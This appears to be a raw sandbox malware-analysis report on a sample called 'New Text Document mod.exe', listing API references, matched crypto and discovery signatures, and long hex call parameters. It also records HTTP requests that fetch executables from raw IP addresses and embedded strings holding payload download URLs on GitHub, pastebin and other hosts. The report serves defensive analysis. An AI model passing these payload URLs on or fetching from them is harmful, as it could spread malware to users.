00000000-00001088-23227-584-00D5A942 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-584-00D5A9422e:Tc5d,Found reference to API "CryptDecodeObjectEx" (Indicator: "CryptDecodeObject"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptImportPublicKeyInfo" (Indicator: "CryptImportPublicKeyInfo"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptAcquireContextW" (Indicator: "CryptAcquireContext"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptSetKeyParam" (Indicator: "CryptSetKeyParam"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptImportKey" (Indicator: "CryptImportKey"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptEncrypt" (Indicator: "CryptEncrypt"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptDecrypt" (Indicator: "CryptDecrypt"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptDuplicateKey" (Indicator: "CryptDuplicateKey"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CryptEnumProvidersW" (Indicator: "CryptEnumProviders"; File: "New Text Document mod.exe") Found reference to API "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "New Text Document mod.exe") Found reference to API "CryptExportKey" (Indicator: "CryptExportKey"; File: "New Text Document mod.exe") Found reference to API "CryptGetUserKey" (Indicator: "CryptGetUserKey"; File: "New Text Document mod.exe") Found reference to API "CryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "New Text Document mod.exe") Found reference to API "CryptGetProvParam" (Indicator: "CryptGetProvParam"; File: "New Text Document mod.exe") Found reference to API "CryptSignHashW" (Indicator: "CryptSignHash"; File: "New Text Document mod.exe") Found reference to API "CertFindCertificateInStore" (Indicator: "CertFindCertificateInStore"; File: "New Text Document mod.exe") Found reference to API "CryptMsgClose" (Indicator: "CryptMsgClose"; File: "New Text Document mod.exe") Found reference to API "CryptEncodeObject" (Indicator: "CryptEncodeObject"; File: "New Text Document mod.exe") Found reference to API "CryptMsgUpdate" (Indicator: "CryptMsgUpdate"; File: "New Text Document mod.exe") Found reference to API "CertDeleteCertificateFromStore" (Indicator: "CertDeleteCertificateFromStore"; File: "New Text Document mod.exe") Found reference to API "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "New Text Document mod.exe") Found reference to API "CertAddEncodedCertificateToStore" (Indicator: "CertAddEncodedCertificateToStore"; File: "New Text Document mod.exe") Found reference to API "CryptMsgOpenToEncode" (Indicator: "CryptMsgOpenToEncode"; File: "New Text Document mod.exe")2f:T16c6,Contains base64 string in header "chConnection" in header "GET /downloads/text_online/ HTTP/1.1Host: urlhaus.abuse.chConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /downloads/text_online/ HTTP/1.1Host: urlhaus.abuse.chConnection: Keep-Alive" Contains base64 string in header "/files/814870813/8aCq1Rp" in header "GET /files/814870813/8aCq1Rp.exe HTTP/1.1Host: 178.16.54.200Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /files/814870813/8aCq1Rp.exe HTTP/1.1Host: 178.16.54.200Connection: Keep-Alive" Contains base64 string in header "/files/814870813/i81fwxp" in header "GET /files/814870813/i81fwxp.exe HTTP/1.1" Contains base64 string in header "/cooking" in header "GET /cooking.exe HTTP/1.1Host: uploadsfre.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /cooking.exe HTTP/1.1Host: uploadsfre.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /files/7453936223/lJ5IwxN.exe HTTP/1.1Host: 178.16.54.200Connection: Keep-Alive" Contains base64 string in header "90Connection" in header "GET /http.server/elf.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /http.server/elf.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "90Connection" in header "GET /http.server/sys.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /http.server/sys.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "90Connection" in header "GET /http.server/sup.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /http.server/sup.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "90Connection" in header "GET /http.server/tmp.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /http.server/tmp.exe HTTP/1.1Host: 176.122.27.90Connection: Keep-Alive" Contains base64 string in header "/crypted" in header "GET /crypted_guardfile.exe HTTP/1.1Host: 196.251.115.22Connection: Keep-Alive" Contains base64 string in header "22Connection" in header "GET /crypted_guardfile.exe HTTP/1.1Host: 196.251.115.22Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /crypted_guardfile.exe HTTP/1.1Host: 196.251.115.22Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /files/unique5/random.exe HTTP/1.1Host: 178.16.54.200Connection: Keep-Alive" Contains base64 string in header "Type" in header "GET / HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Setup Factory 10.0Host: dl2.tlauncher.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "form" in header "GET / HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Setup Factory 10.0Host: dl2.tlauncher.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET / HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Setup Factory 10.0Host: dl2.tlauncher.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /rabert.exe HTTP/1.1Host: 194.180.49.148:8900Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /docx.exe HTTP/1.1Host: 139.199.157.76:8000Connection: Keep-Alive" Contains base64 string in header "Type" in header "GET /check_latest_tl.php?optime=0 HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Setup Factory 10.0Host: dl2.tlauncher.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "form" in header "GET /check_latest_tl.php?optime=0 HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Setup Factory 10.0Host: dl2.tlauncher.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /check_latest_tl.php?optime=0 HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Setup Factory 10.0Host: dl2.tlauncher.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/windows" in header "GET /windows.exe HTTP/1.1Host: 139.199.157.76:8000Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /windows.exe HTTP/1.1Host: 139.199.157.76:8000Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /meitu.exe HTTP/1.1Host: 139.199.157.76:8000Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /d/server.exe HTTP/1.1Host: 185.208.159.182Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /files/7782139129/GL0ygTD.exe HTTP/1.1Host: 178.16.54.200Connection: Keep-Alive" Contains base64 string in header "/dva" in header "GET /dva.exe HTTP/1.1Host: 62.60.226.16:5553Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /dva.exe HTTP/1.1Host: 62.60.226.16:5553Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /x.exe HTTP/1.1Host: 172.245.27.131Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /xtest.exe HTTP/1.1Host: 172.245.27.131Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /xeno.exe HTTP/1.1Host: 172.245.27.131Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /Client-built.exe HTTP/1.1Host: 213.142.159.116Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /files/6608710704/HCBSXXl.exe HTTP/1.1Host: 178.16.55.189Connection: Keep-Alive"30:T892,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decrypt/decode data Matched sigs: Able to use PEM certificate for encryption and decryption Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains asymmetric cryptographic functions (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Contains ability to decode base64 data Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: Contains ability to perform asymmetric crypto operations Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - RC4 Encryption Matched sigs: YARA signature match - Cyclic XOR decryption routine for 64-bit samples Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: Contains reference to cryptographic keys Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains ability to perform crypto operations Matched sigs: Able to decode string content at runtime (.NET) Matched sigs: Imports crypto-related APIs Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - AES encryption31:T5c6,file/memory contains long string with (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3205968625") file/memory contains long string with (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3205970576") file/memory contains long string with (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3205972715") file/memory contains long string with (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3205985263") file/memory contains long string with (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3205985864") file/memory contains long string with (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3205986440") file/memory contains long string with (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3205987019") Found string "c/refs/heads/main/payload.binhttps://github.com/AdobePdf-Reader/Pdf-Reader/raw/refs/heads/main/Pdf%20Reader.exehttp://36.88.6.203:8907/ihttp://202.152.45.93:37048/ihttp://212.70.156.70:43412/ihttp://45.115.252.130:19579/ihttps://107.180.89.159/wp-c" (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3206013733") Found string "lient/Client.exe.ziphttp://103.174.191.145:88/maxz/update/Client/DSETUP.dll.ziphttp://87.121.112.46/nok/x86https://github.com/barrigudinha157/barrigudinha/raw/master/Rage.dllhttps://pastebin.com/raw/2d424qWNhttps://github.com/FiIes/StormFN-Launcher/r" (Indicator: "github.com"; Source: "00000000-00002000-00000CBD-3206020760")32:T4b0,file/memory contains long string(File: "x.exe") file/memory contains long string(File: "xeno.exe") file/memory contains long string(File: "xtest.exe") Found string "GetUserNameA" (Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found string "ystem.Identity.QualifiedUserName" (Source: "00000000-00001088.00000000.271453.039B0000.00000002.mdmp") Found string "ystem.Identity.UserName" (Source: "00000000-00001088.00000000.271453.039B0000.00000002.mdmp") Found string "ystem.UserName" (Source: "00000000-00001088.00000000.271453.039B0000.00000002.mdmp") Found string "System.Identity.UserName" (Source: "00000000-00001088.00000000.271453.03C10000.00000002.mdmp") Found string "System.Identity.QualifiedUserName" (Source: "00000000-00001088.00000000.271453.03C10000.00000002.mdmp") Found string "System.UserName" (Source: "00000000-00001088.00000000.271453.03C10000.00000002.mdmp") Found string "etUserNameA" (Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp") Found string "etUserNameExA" (Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp") Found string "etUserNameW" (Source: "00000000-00004944.00000000.271771.00410000.00000004.mdmp")33:T64b,file/memory contains long string with (Indicator: "GetCommandLine"; File: "meitu.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "Uninstall.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "windows.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "window.exe") file/memory contains long string with (Indicator: "GetLastInputInfo"; File: "xeno.exe") file/memory contains long string with (Indicator: "GetLastInputInfo"; File: "xtest.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "_setup64.tmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "New Text Document mod.exe") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "New Text Document mod.exe") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "New Text Document mod.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")34:T55b,file/memory contains long string with (Indicator: "AllocateAndInitializeSid"; File: "_setup64.tmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "New Text Document mod.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "New Text Document mod.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "New Text Document mod.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")35:T7d0,Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; File: "New Text Document mod.exe") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "New Text Document mod.exe") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "New Text Document mod.exe") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "New Text Document mod.exe") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "New Text Document mod.exe") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "New Text Document mod.exe") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")36:T580,Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; File: "New Text Document mod.exe") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; File: "New Text Document mod.exe") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; File: "New Text Document mod.exe") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpaceEx"; File: "New Text Document mod.exe") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; File: "New Text Document mod.exe") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; File: "New Text Document mod.exe") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")37:T552,Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetDateFormatW" (Indicator: "GetDateFormat"; File: "New Text Document mod.exe") Found reference to API "GetTimeFormatW" (Indicator: "GetTimeFormat"; File: "New Text Document mod.exe") Found reference to API "GetTimeFormatA" (Indicator: "GetTimeFormat"; File: "New Text Document mod.exe") Found reference to API "GetDateFormatA" (Indicator: "GetDateFormat"; File: "New Text Document mod.exe") Found reference to API "GetTimeFormatA" (Indicator: "GetTimeFormat"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetDateFormatA" (Indicator: "GetDateFormat"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")38:T96a,Found system information discovery API: "GetSystemInfo" in file "New Text Document mod.exe" Found system information discovery API: "GetEnvironmentStringsW" in file "New Text Document mod.exe" Found system information discovery API: "GetUserObjectInformationW" in file "00000000-00001088.00000000.271453.00D51000.00000020.mdmp" Found system information discovery API: "GetMonitorInfoW" in file "New Text Document mod.exe" Found system information discovery API: "ExpandEnvironmentStringsA" in file "New Text Document mod.exe" Found system information discovery API: "GetUserObjectInformationA" in file "00000000-00004944.00000000.271771.40004000.00000080.mdmp" Found system information discovery API: "GetEnvironmentStrings" in file "New Text Document mod.exe" Found system information discovery API: "GetMonitorInfoA" in file "New Text Document mod.exe" Found system information discovery API: "ExpandEnvironmentStringsW" in file "New Text Document mod.exe" Found system information discovery API: "ExpandEnvironmentStringsA" in "00000000-00000968.00000000.272733.00428000.00000004.mdmp" Found system information discovery API: "GetUserObjectInformationW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found system information discovery API: "GetMonitorInfoW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationW" in "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp" Found system information discovery API: "GetUserObjectInformationA" in "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp" Found system information discovery API: "ExpandEnvironmentStringsA" in "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp"39:T61b,Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; File: "New Text Document mod.exe") Found reference to API "GetTextCharsetInfo" (Indicator: "GetTextCharset"; File: "New Text Document mod.exe") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "New Text Document mod.exe") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "New Text Document mod.exe") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; File: "New Text Document mod.exe") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "New Text Document mod.exe") Found reference to API "GetKeyboardType" (Indicator: "GetKeyboardType"; File: "New Text Document mod.exe") Found reference to API "GetKeyboardType" (Indicator: "GetKeyboardType"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetTextCharsetInfo" (Indicator: "GetTextCharset"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp")3a:T95d,file/memory contains long string with (Indicator: "sendmessage"; File: "Uninstall.exe") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "New Text Document mod.exe") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "New Text Document mod.exe") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "New Text Document mod.exe") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "New Text Document mod.exe") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "New Text Document mod.exe") Found reference to API "FindWindowW" (Indicator: "findwindow"; File: "New Text Document mod.exe") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "New Text Document mod.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "New Text Document mod.exe") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00005524-00000C2B-3241699951") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "sendMessageChannelCache" (Indicator: "sendmessage"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to API "System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")3b:T2098,"NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000098e72f01000000001800000000000000049c89a5e7350000ef99440100000000100000000000000030e72f0100000000f054430100000000a0964401000000001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000005f6bfb7f00009359cdf4665a0000e0465f6bfb7f0000f0994401000000009806606bfb7f000060854401000000000000336bfb7f00000000000000000000e0465f6bfb7f00000300000000000000f385676dfb7f00006e475f6bfb7f00002766676dfb7f000070e72f01 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938146bfb7f00008000000000000000000000000000000010634d010000000010336a6dfb7f000000000000000000000000956cfb7f000000a12f01000000001041116bfb7f0000d01b4d0100000000c0a02f0100000000000000000000000000000000000000000100000000000000b840116bfb7f0000000000000000000001000000000000000000956cfb7f00003b4dc26afb7f0000000000000000000078a52f01000000000000000000000000d02aa76cfb7f000010b30d6dfb7f0000e8f8106bfb7f000010b30d6dfb7f0000d02aa76cfb7f00000d000000fb7f00000d00000000000000a0f6fd6cfb7f0000f587a26cfb7f0000d02aa76c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 240100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000606c501c00000000da39521c00000000f038521c00000000d89b2f0100000000c89b2f0100000000c89b2f0101000000d89d2f01000000004873f46bfb7f00000000000000000000606c501c00000000ef5ec068fb7f0000801d1169fb7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000009639521c00000000ac39521c000000009639521c00000000da39521c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009639521c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000001067501c000000005c42521c000000007041521c00000000d89b2f0100000000c89b2f0100000000c89b2f0101000000d89d2f01000000004873f46bfb7f000000000000000000001067501c00000000ef5ec068fb7f0000801d1169fb7f000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001642521c000000002e42521c000000001642521c000000005c42521c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001642521c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000001067501c0000000028a5521c0000000040a4521c000000005001430100000000c89b2f0100000000c89b2f0101000000d89d2f01000000004873f46bfb7f000000000000000000001067501c00000000ef5ec068fb7f0000801d1169fb7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000e6a4521c00000000faa4521c00000000e6a4521c0000000028a5521c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e6a4521c (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "RtlGetVersion" with parameter 